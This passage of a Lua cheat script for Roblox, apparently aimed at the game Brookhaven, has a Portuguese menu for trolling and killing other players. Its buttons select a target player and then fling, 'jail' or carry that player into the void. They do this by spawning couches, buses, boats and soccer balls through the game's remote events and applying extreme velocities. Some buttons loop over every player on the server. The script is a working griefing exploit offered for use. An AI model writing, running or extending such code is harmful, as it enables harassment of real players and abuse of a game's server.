if not hum or not root or not tRoot then
return
end
local originalPos = root.Position
local sitPos = Vector3.new(666.609130859375, 8.813562393188477, 477.7061462402344)
ReplicatedStorage:WaitForChild("RE"):WaitForChild("1Clea1rTool1s"):FireServer("ClearAllTools")
task.wait(0.2)
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Couch")
task.wait(0.3)
local tool = LocalPlayer.Backpack:FindFirstChild("Couch")
if tool then tool.Parent = char end
task.wait(0.1)
VirtualInputManager:SendKeyEvent(true, Enum.KeyCode.F, false, game)
task.wait(0.1)
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
hum.PlatformStand = false
local cam = workspace.CurrentCamera
cam.CameraSubject = target.Character:FindFirstChild("Head") or tRoot or hum
local align = Instance.new("BodyPosition")
align.Name = "BringPosition"
align.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
align.D = 10
align.P = 30000
align.Position = root.Position
align.Parent = tRoot
task.spawn(function()
local angle = 0
local startTime = tick()
while tick() - startTime < 5 and target and target.Character and target.Character:FindFirstChildOfClass("Humanoid") do
local tHum = target.Character:FindFirstChildOfClass("Humanoid")
if not tHum or tHum.Sit then break end
local hrp = target.Character.HumanoidRootPart
local adjustedPos = hrp.Position + (hrp.Velocity / 1.5)
angle += 50
root.CFrame = CFrame.new(adjustedPos + Vector3.new(0, 2, 0)) * CFrame.Angles(math.rad(angle), 0, 0)
align.Position = root.Position + Vector3.new(2, 0, 0)
task.wait()
end
align:Destroy()
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
hum.PlatformStand = false
cam.CameraSubject = hum
for _, p in pairs(char:GetDescendants()) do
if p:IsA("BasePart") then
p.Velocity = Vector3.zero
p.RotVelocity = Vector3.zero
end
end
task.wait(0.1)
root.CFrame = CFrame.new(sitPos)
task.wait(0.3)
local tool = char:FindFirstChild("Couch")
if tool then tool.Parent = LocalPlayer.Backpack end
task.wait(0.01)
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Couch")
task.wait(0.2)
root.CFrame = CFrame.new(originalPos)
end)
end
local PlayerSection = Tabs.TT:AddSection({ Name = "Trolar Jogadores <News Functions>" })
local killDropdown = Tabs.TT:AddDropdown({
Name = Translator:traduzir("Selecione um jogador"),
Options = novaTabela,
Default = "Players",
Callback = function(value)
selectedPlayerName = value
getgenv().Target = value
end
})
Tabs.TT:AddDropdown({
Name = Translator:traduzir("Escolhar um Método <KILL>"),
Options = {"Bus", "Couch", "Couch de longe", "jail"},
Default = "Formas",
Callback = function(value)
methodKill = value
end
})
Tabs.TT:AddToggle({
Name = Translator:traduzir("Visualizar Jogador"),
Default = false,
Callback = function(value)
local Camera = workspace.CurrentCamera
local function UpdateCamera()
if value then
local targetPlayer = Players:FindFirstChild(selectedPlayerName)
if targetPlayer and targetPlayer.Character then
local humanoid = targetPlayer.Character:FindFirstChild("Humanoid")
if humanoid then
Camera.CameraSubject = humanoid
end
end
else
if LocalPlayer.Character then
local humanoid = LocalPlayer.Character:FindFirstChild("Humanoid")
if humanoid then
Camera.CameraSubject = humanoid
end
end
end
end
if value then
if not getgenv().CameraConnection then
getgenv().CameraConnection = RunService.Heartbeat:Connect(UpdateCamera)
end
else
if getgenv().CameraConnection then
getgenv().CameraConnection:Disconnect()
getgenv().CameraConnection = nil
end
UpdateCamera()
end
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Atualizar lista"),
Callback = function()
local lista = {}
for _, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
table.insert(lista, v.Name)
end
end
killDropdown:Set(lista)
end
})
local MethodSection = Tabs.TT:AddSection({Name = Translator:traduzir("Formas De matar <Variados>")})
Tabs.TT:AddSlider({
Name = Translator:traduzir("Estabilizador de Tp"),
Min = 5,
Max = 175,
Increase = 1,
Default = 160,
Callback = function()
print([[Metodos work]])
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Desligar Jogador <Selecionado>"),
Callback = function()
playerCorrupt()
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Puxar Player <Selecionado>"),
Callback = function()
if not selectedPlayerName or not Players:FindFirstChild(selectedPlayerName) then
return
end
if methodKill == "Couch" then
BringPlayerLLL()
elseif methodKill == "Couch de longe" then
BringWithCouch()
else
local character = LocalPlayer.Character
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then
warn("Erro: HumanoidRootPart do jogador local não encontrado")
return
end
local originalPosition = humanoidRootPart.CFrame
local function GetBus()
local vehicles = game.Workspace:FindFirstChild("Vehicles")
if vehicles then
return vehicles:FindFirstChild(LocalPlayer.Name .. "Car")
end
return nil
end
local bus = GetBus()
if not bus then
humanoidRootPart.CFrame = CFrame.new(1118.81, 75.998, -1138.61)
task.wait(0.5)
local remoteEvent = ReplicatedStorage:FindFirstChild("RE")
if remoteEvent and remoteEvent:FindFirstChild("1Ca1r") then
remoteEvent["1Ca1r"]:FireServer("PickingCar", "SchoolBus")
end
task.wait(1)
bus = GetBus()
end
if bus then
local seat = bus:FindFirstChild("Body") and bus.Body:FindFirstChild("VehicleSeat")
if seat and character:FindFirstChildOfClass("Humanoid") and not character.Humanoid.Sit then
repeat
humanoidRootPart.CFrame = seat.CFrame * CFrame.new(0, 2, 0)
task.wait()
until character.Humanoid.Sit or not bus.Parent
end
end
local function TrackPlayer()
while true do
if selectedPlayerName then
local targetPlayer = Players:FindFirstChild(selectedPlayerName)
if targetPlayer and targetPlayer.Character and targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
local targetHumanoid = targetPlayer.Character:FindFirstChildOfClass("Humanoid")
if targetHumanoid and targetHumanoid.Sit then
if character.Humanoid then
bus:SetPrimaryPartCFrame(originalPosition)
task.wait(0.7)
local args = { [1] = "DeleteAllVehicles" }
ReplicatedStorage.RE:FindFirstChild("1Ca1r"):FireServer(unpack(args))
end
break
else
local targetRoot = targetPlayer.Character.HumanoidRootPart
local time = tick() * 35
local lateralOffset = math.sin(time) * 4
local frontBackOffset = math.cos(time) * 20
bus:SetPrimaryPartCFrame(targetRoot.CFrame * CFrame.new(lateralOffset, 0, frontBackOffset))
end
end
end
RunService.RenderStepped:Wait()
end
end
spawn(TrackPlayer)
end
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Matar Player <Selecionado>"),
Callback = function()
if not selectedPlayerName or not Players:FindFirstChild(selectedPlayerName) then
return
end
if methodKill == "Couch" then
KillPlayerCouch()
elseif methodKill == "Couch Sem ir até o alvo [BETA]" then
KillWithCouch()
else
local character = LocalPlayer.Character
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then
warn("Erro: HumanoidRootPart do jogador local não encontrado")
return
end
local originalPosition = humanoidRootPart.CFrame
local function GetBus()
local vehicles = game.Workspace:FindFirstChild("Vehicles")
if vehicles then
return vehicles:FindFirstChild(LocalPlayer.Name .. "Car")
end
return nil
end
local bus = GetBus()
if not bus then
humanoidRootPart.CFrame = CFrame.new(1118.81, 75.998, -1138.61)
task.wait(0.5)
local remoteEvent = ReplicatedStorage:FindFirstChild("RE")
if remoteEvent and remoteEvent:FindFirstChild("1Ca1r") then
remoteEvent["1Ca1r"]:FireServer("PickingCar", "SchoolBus")
end
task.wait(1)
bus = GetBus()
end
if bus then
local seat = bus:FindFirstChild("Body") and bus.Body:FindFirstChild("VehicleSeat")
if seat and character:FindFirstChildOfClass("Humanoid") and not character.Humanoid.Sit then
repeat
humanoidRootPart.CFrame = seat.CFrame * CFrame.new(0, 2, 0)
task.wait()
until character.Humanoid.Sit or not bus.Parent
if character.Humanoid.Sit or not bus.Parent then
for k, v in pairs(bus.Body:GetChildren()) do
if v:IsA("Seat") then
v.CanTouch = false
end
end
end
end
end
local function TrackPlayer()
while true do
if selectedPlayerName then
local targetPlayer = Players:FindFirstChild(selectedPlayerName)
if targetPlayer and targetPlayer.Character and targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
local targetHumanoid = targetPlayer.Character:FindFirstChildOfClass("Humanoid")
if targetHumanoid and targetHumanoid.Sit then
if character.Humanoid then
bus:SetPrimaryPartCFrame(CFrame.new(Vector3.new(9999, -450, 9999)))
print("Jogador sentou, levando ônibus para o void!")
task.wait(0.2)
local function simulateJump()
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end
simulateJump()
print("Simulando pulo!")
task.wait(0.5)
humanoidRootPart.CFrame = originalPosition
print("Player voltou para a posição inicial.")
end
break
else
local targetRoot = targetPlayer.Character.HumanoidRootPart
local time = tick() * 35
local lateralOffset = math.sin(time) * 4
local frontBackOffset = math.cos(time) * 20
bus:SetPrimaryPartCFrame(targetRoot.CFrame * CFrame.new(lateralOffset, 0, frontBackOffset))
end
end
end
RunService.RenderStepped:Wait()
end
end
spawn(TrackPlayer)
end
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Barco Matar no <Fling>"),
Callback = function()
if not selectedPlayerName or not game.Players:FindFirstChild(selectedPlayerName) then
warn("Nenhum jogador selecionado ou não existe")
return
end
local Player = game.Players.LocalPlayer
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Character and Character:FindFirstChild("HumanoidRootPart")
local Vehicles = game.Workspace:FindFirstChild("Vehicles")
if not Humanoid or not RootPart then
warn("Humanoid ou RootPart inválido")
return
end
local function spawnBoat()
RootPart.CFrame = CFrame.new(1754, -2, 58)
task.wait(0.5)
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Ca1r"):FireServer("PickingBoat", "MilitaryBoatFree")
task.wait(1)
return Vehicles:FindFirstChild(Player.Name.."Car")
end
local PCar = Vehicles:FindFirstChild(Player.Name.."Car") or spawnBoat()
if not PCar then
warn("Falha ao spawnar o barco")
return
end
local Seat = PCar:FindFirstChild("Body") and PCar.Body:FindFirstChild("VehicleSeat")
if not Seat then
warn("Assento não encontrado")
return
end
repeat
task.wait(0.1)
RootPart.CFrame = Seat.CFrame * CFrame.new(0, 1, 0)
until Humanoid.SeatPart == Seat
local TargetPlayer = game.Players:FindFirstChild(selectedPlayerName)
if not TargetPlayer or not TargetPlayer.Character then
warn("Jogador não encontrado")
return
end
local TargetC = TargetPlayer.Character
local TargetH = TargetC:FindFirstChildOfClass("Humanoid")
local TargetRP = TargetC:FindFirstChild("HumanoidRootPart")
if not TargetRP or not TargetH then
warn("Humanoid ou RootPart do alvo não encontrado")
return
end
local Spin = Instance.new("BodyAngularVelocity")
Spin.Name = "Spinning"
Spin.Parent = PCar.PrimaryPart
Spin.MaxTorque = Vector3.new(0, math.huge, 0)
Spin.AngularVelocity = Vector3.new(0, 369, 0)
local function moveCar(TargetRP, offset)
if PCar and PCar.PrimaryPart then
PCar:SetPrimaryPartCFrame(CFrame.new(TargetRP.Position + offset))
end
end
task.spawn(function()
while PCar and PCar.Parent and TargetRP and TargetRP.Parent do
task.wait(0.01)
moveCar(TargetRP, Vector3.new(0, 1, 0))
moveCar(TargetRP, Vector3.new(0, -2.25, 5))
moveCar(TargetRP, Vector3.new(0, 2.25, 0.25))
moveCar(TargetRP, Vector3.new(-2.25, -1.5, 2.25))
moveCar(TargetRP, Vector3.new(0, 1.5, 0))
moveCar(TargetRP, Vector3.new(0, -1.5, 0))
if PCar and PCar.PrimaryPart then
local Rotation = CFrame.Angles(
math.rad(math.random(-369, 369)),
math.rad(math.random(-369, 369)),
math.rad(math.random(-369, 369))
)
PCar:SetPrimaryPartCFrame(CFrame.new(TargetRP.Position + Vector3.new(0, 1.5, 0)) * Rotation)
end
end
if Spin and Spin.Parent then
Spin:Destroy()
end
end)
end
})
local function FlingBall(target)
local players = game:GetService("Players")
local player = players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local hrp = character:WaitForChild("HumanoidRootPart")
local backpack = player:WaitForChild("Backpack")
local ServerBalls = workspace.WorkspaceCom:WaitForChild("001_SoccerBalls")
local function GetBall()
if not backpack:FindFirstChild("SoccerBall") then
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "SoccerBall")
end
repeat task.wait() until backpack:FindFirstChild("SoccerBall")
backpack.SoccerBall.Parent = character
repeat task.wait() until ServerBalls:FindFirstChild("Soccer" .. player.Name)
character.SoccerBall.Parent = backpack
return ServerBalls:FindFirstChild("Soccer" .. player.Name)
end
local Ball = ServerBalls:FindFirstChild("Soccer" .. player.Name) or GetBall()
Ball.CanCollide = false
Ball.Massless = true
Ball.CustomPhysicalProperties = PhysicalProperties.new(0.0001, 0, 0)
if target ~= player then
local tchar = target.Character
if tchar and tchar:FindFirstChild("HumanoidRootPart") and tchar:FindFirstChild("Humanoid") then
local troot = tchar.HumanoidRootPart
local thum = tchar.Humanoid
if Ball:FindFirstChildWhichIsA("BodyVelocity") then
Ball:FindFirstChildWhichIsA("BodyVelocity"):Destroy()
end
local bv = Instance.new("BodyVelocity")
bv.Name = "FlingPower"
bv.Velocity = Vector3.new(9e8, 9e8, 9e8)
bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
bv.P = 9e900
bv.Parent = Ball
workspace.CurrentCamera.CameraSubject = thum
local StartTime = os.time()
repeat
if troot.Velocity.Magnitude > 0 then
local pos_x = troot.Position.X + (troot.Velocity.X / 1.5)
local pos_y = troot.Position.Y + (troot.Velocity.Y / 1.5)
local pos_z = troot.Position.Z + (troot.Velocity.Z / 1.5)
local position = Vector3.new(pos_x, pos_y, pos_z)
Ball.CFrame = CFrame.new(position)
Ball.Orientation += Vector3.new(45, 60, 30)
else
for i, v in pairs(tchar:GetChildren()) do
if v:IsA("BasePart") and v.CanCollide and not v.Anchored then
Ball.CFrame = v.CFrame
task.wait(1/6000)
end
end
end
task.wait(1/6000)
until troot.Velocity.Magnitude > 1000 or thum.Health <= 0 or not tchar:IsDescendantOf(workspace) or target.Parent ~= players
workspace.CurrentCamera.CameraSubject = humanoid
end
end
end
Tabs.TT:AddButton({
Name = "Fling Ball",
Callback = function()
FlingBall(game:GetService("Players")[selectedPlayerName])
end
})
local Players = game:GetService('Players')
local lplayer = Players.LocalPlayer
local function isItemInInventory(itemName)
for _, item in pairs(lplayer.Backpack:GetChildren()) do
if item.Name == itemName then
return true
end
end
return false
end
local function equipItem(itemName)
local item = lplayer.Backpack:FindFirstChild(itemName)
if item then
lplayer.Character.Humanoid:EquipTool(item)
end
end
local function unequipItem(itemName)
local item = lplayer.Character:FindFirstChild(itemName)
if item then
item.Parent = lplayer.Backpack
end
end
local function ActiveAutoFling(targetPlayer)
if not isItemInInventory("Couch") then
local args = { [1] = "PickingTools", [2] = "Couch" }
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Too1l"):InvokeServer(unpack(args))
end
equipItem("Couch")
getgenv().flingloop = true
while getgenv().flingloop do
local function flingloopfix()
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local AllBool = false
local SkidFling = function(TargetPlayer)
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart
local TCharacter = TargetPlayer.Character
local THumanoid, TRootPart, THead, Accessory, Handle
if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory = TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessory and Accessory:FindFirstChild("Handle") then
Handle = Accessory.Handle
end
if Character and Humanoid and RootPart then
if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit and not AllBool then
unequipItem("Couch")
getgenv().flingloop = false
return
end
if THead then
workspace.CurrentCamera.CameraSubject = THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject = Handle
elseif THumanoid and TRootPart then
workspace.CurrentCamera.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end
local FPos = function(BasePart, Pos, Ang)
RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
end
local SFBasePart = function(BasePart)
local TimeToWait = 2
local Time = tick()
local Angle = 0
repeat
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait or getgenv().flingloop == false
end
workspace.FallenPartsDestroyHeight = 0/0
local BV = Instance.new("BodyVelocity")
BV.Name = "SpeedDoPai"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
end
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject = Humanoid
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
workspace.FallenPartsDestroyHeight = getgenv().FPDH
end
end
if AllBool then
for _, x in next, Players:GetPlayers() do
SkidFling(x)
end
end
if targetPlayer then
SkidFling(targetPlayer)
end
task.wait()
end
wait()
pcall(flingloopfix)
end
end
Tabs.TT:AddButton({
Name = Translator:traduzir("Jail Player <Selecionado>"),
Callback = function()
if not selectedPlayerName or not Players:FindFirstChild(selectedPlayerName) then
return
end
if methodKill == "jail" then
jailcouch()
elseif methodKill == "Couch Sem ir até o alvo [BETA]" then
KillWithCouch()
else
local character = LocalPlayer.Character
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then
warn("Erro: HumanoidRootPart do jogador local não encontrado")
return
end
local originalPosition = humanoidRootPart.CFrame
local function GetBus()
local vehicles = game.Workspace:FindFirstChild("Vehicles")
if vehicles then
return vehicles:FindFirstChild(LocalPlayer.Name .. "Car")
end
return nil
end
local bus = GetBus()
if not bus then
humanoidRootPart.CFrame = CFrame.new(1118.81, 75.998, -1138.61)
task.wait(0.5)
local remoteEvent = ReplicatedStorage:FindFirstChild("RE")
if remoteEvent and remoteEvent:FindFirstChild("1Ca1r") then
remoteEvent["1Ca1r"]:FireServer("PickingCar", "SchoolBus")
end
task.wait(1)
bus = GetBus()
end
if bus then
local seat = bus:FindFirstChild("Body") and bus.Body:FindFirstChild("VehicleSeat")
if seat and character:FindFirstChildOfClass("Humanoid") and not character.Humanoid.Sit then
repeat
humanoidRootPart.CFrame = seat.CFrame * CFrame.new(0, 2, 0)
task.wait()
until character.Humanoid.Sit or not bus.Parent
if character.Humanoid.Sit or not bus.Parent then
for k, v in pairs(bus.Body:GetChildren()) do
if v:IsA("Seat") then
v.CanTouch = false
end
end
end
end
end
local function TrackPlayer()
while true do
if selectedPlayerName then
local targetPlayer = Players:FindFirstChild(selectedPlayerName)
if targetPlayer and targetPlayer.Character and targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
local targetHumanoid = targetPlayer.Character:FindFirstChildOfClass("Humanoid")
if targetHumanoid and targetHumanoid.Sit then
if character.Humanoid then
bus:SetPrimaryPartCFrame(CFrame.new(Vector3.new(673.678162, 18.1641273, 478.667908, 0, 0, -1, 0, 1, 0, 1, 0, 0)))
print("Jogador sentou, levando ônibus para o void!")
task.wait(0.2)
local function simulateJump()
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end
simulateJump()
print("Simulando pulo!")
task.wait(0.5)
humanoidRootPart.CFrame = originalPosition
print("Player voltou para a posição inicial.")
end
break
else
local targetRoot = targetPlayer.Character.HumanoidRootPart
local time = tick() * 35
local lateralOffset = math.sin(time) * 4
local frontBackOffset = math.cos(time) * 20
bus:SetPrimaryPartCFrame(targetRoot.CFrame * CFrame.new(lateralOffset, 0, frontBackOffset))
end
end
end
RunService.RenderStepped:Wait()
end
end
spawn(TrackPlayer)
end
end
})
--[[Tabs.TT:AddButton({
Name = Translator:traduzir("Jail fe <Selecionado>"),
Callback = function()
local targetPlayer = Players:FindFirstChild(selectedPlayerName)
if not targetPlayer or not targetPlayer.Character or not targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
warn("inv")
return
end
local character = LocalPlayer.Character
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then
warn("nn found")
return
end
local originalPosition = humanoidRootPart.CFrame
local function GetBus()
local vehicles = game.Workspace:FindFirstChild("Vehicles")
if vehicles then
return vehicles:FindFirstChild(LocalPlayer.Name .. "Car")
end
return nil
end
local bus = GetBus()
if not bus then
humanoidRootPart.CFrame = CFrame.new(1118.81, 75.998, -1138.61)
task.wait(0.5)
local remoteEvent = ReplicatedStorage:FindFirstChild("RE")
if remoteEvent and remoteEvent:FindFirstChild("1Ca1r") then
remoteEvent["1Ca1r"]:FireServer("PickingCar", "SchoolBus")
end
task.wait(1)
bus = GetBus()
end
if bus then
local seat = bus:FindFirstChild("Body") and bus.Body:FindFirstChild("VehicleSeat")
if seat and character:FindFirstChildOfClass("Humanoid") and not character.Humanoid.Sit then
repeat
humanoidRootPart.CFrame = seat.CFrame * CFrame.new(0, 2, 0)
task.wait()
until character.Humanoid.Sit or not bus.Parent
if character.Humanoid.Sit or not bus.Parent then
for _, v in pairs(bus.Body:GetChildren()) do
if v:IsA("Seat") then
v.CanTouch = false
end
end
end
end
end
local function TrackAndExecute()
while true do
if targetPlayer and targetPlayer.Character and targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
local targetHumanoid = targetPlayer.Character:FindFirstChildOfClass("Humanoid")
if targetHumanoid and targetHumanoid.Sit then
if character.Humanoid then
bus:SetPrimaryPartCFrame(CFrame.new(673.678162, 18.1641273, 478.667908, 0, 0, -1, 0, 1, 0, 1, 0, 0))
task.wait(0.2)
local args = {"DeleteAllVehicles"} game:GetService("ReplicatedStorage"):WaitForChild("RE"):WaitForChild("1Ca1r"):FireServer(unpack(args))
character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
task.wait(0.5)
humanoidRootPart.CFrame = originalPosition
end
break
else
local targetRoot = targetPlayer.Character.HumanoidRootPart
local time = tick() * 35
local lateralOffset = math.sin(time) * 4
local frontBackOffset = math.cos(time) * 20
bus:SetPrimaryPartCFrame(targetRoot.CFrame * CFrame.new(lateralOffset, 0, frontBackOffset))
end
end
RunService.RenderStepped:Wait()
end
end
spawn(TrackAndExecute)
end
})]]
end
do
Tabs.TT:AddSection({Translator:traduzir("Funções Mata <Todos>")})
Tabs.TT:AddButton({
Name = Translator:traduzir("Mata Geral De Ônibus"),
Callback = function()
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local destination = Vector3.new(145.51, -374.09, 21.58)
local originalPosition = nil
local function GetBus()
local vehicles = Workspace:FindFirstChild("Vehicles")
if vehicles then
return vehicles:FindFirstChild(Players.LocalPlayer.Name.."Car")
end
return nil
end
local function TrackPlayer(selectedPlayerName, callback)
while true do
if selectedPlayerName then
local targetPlayer = Players:FindFirstChild(selectedPlayerName)
if targetPlayer and targetPlayer.Character and targetPlayer.Character:FindFirstChild("HumanoidRootPart") then
local targetHumanoid = targetPlayer.Character:FindFirstChildOfClass("Humanoid")
if targetHumanoid and targetHumanoid.Sit then
local bus = GetBus()
if bus then
bus:SetPrimaryPartCFrame(CFrame.new(destination))
task.wait(0.2)
local function simulateJump()
local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end
simulateJump()
task.wait(0.4)
simulateJump()
task.wait(0.5)
if originalPosition then
Players.LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
task.wait(0.1)
local args = {
[1] = "DeleteAllVehicles"
}
ReplicatedStorage:WaitForChild("RE"):WaitForChild("1Ca1r"):FireServer(unpack(args))
end
end
break
else
local targetRoot = targetPlayer.Character.HumanoidRootPart
local time = tick() * 35
local lateralOffset = math.sin(time) * 10
local frontBackOffset = math.cos(time) * 20
local bus = GetBus()
if bus then
bus:SetPrimaryPartCFrame(targetRoot.CFrame * CFrame.new(0, 0, frontBackOffset))
end
end
end
end
RunService.RenderStepped:Wait()
end
if callback then
callback()
end
end
local function StartKillBusao(playerName, callback)
local selectedPlayerName = playerName
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
originalPosition = humanoidRootPart.CFrame
local bus = GetBus()
if not bus then
humanoidRootPart.CFrame = CFrame.new(1118.81, 75.998, -1138.61)
task.wait(0.5)
local remoteEvent = ReplicatedStorage:FindFirstChild("RE")
if remoteEvent and remoteEvent:FindFirstChild("1Ca1r") then
remoteEvent["1Ca1r"]:FireServer("PickingCar", "SchoolBus")
end
task.wait(1)
bus = GetBus()
end
if bus then
local seat = bus:FindFirstChild("Body") and bus.Body:FindFirstChild("VehicleSeat")
if seat and character:FindFirstChildOfClass("Humanoid") and not character.Humanoid.Sit then
repeat
humanoidRootPart.CFrame = seat.CFrame * CFrame.new(0, 2, 0)
task.wait()
until character.Humanoid.Sit or not bus.Parent
end
end
spawn(function()
TrackPlayer(selectedPlayerName, callback)
end)
end
local function PerformActionForAllPlayers(players)
if #players == 0 then
return
end
local player = table.remove(players, 1)
StartKillBusao(player.Name, function()
task.wait(0.5)
PerformActionForAllPlayers(players)
end)
end
PerformActionForAllPlayers(Players:GetPlayers())
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Matar Geral de Barco "),
Callback = function()
local Player = game.Players.LocalPlayer
local Character = Player.Character
local Humanoid = Character:FindFirstChildOfClass("Humanoid")
local RootPart = Character:FindFirstChild("HumanoidRootPart")
local Vehicles = game.Workspace:FindFirstChild("Vehicles")
local OldPos = RootPart.CFrame
local Angles = 0
local PCar = Vehicles:FindFirstChild(Player.Name.."Car")
if not PCar then
if RootPart then
RootPart.CFrame = CFrame.new(1754, -2, 58)
task.wait(0.5)
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Ca1r"):FireServer("PickingBoat", "MilitaryBoatFree")
task.wait(0.5)
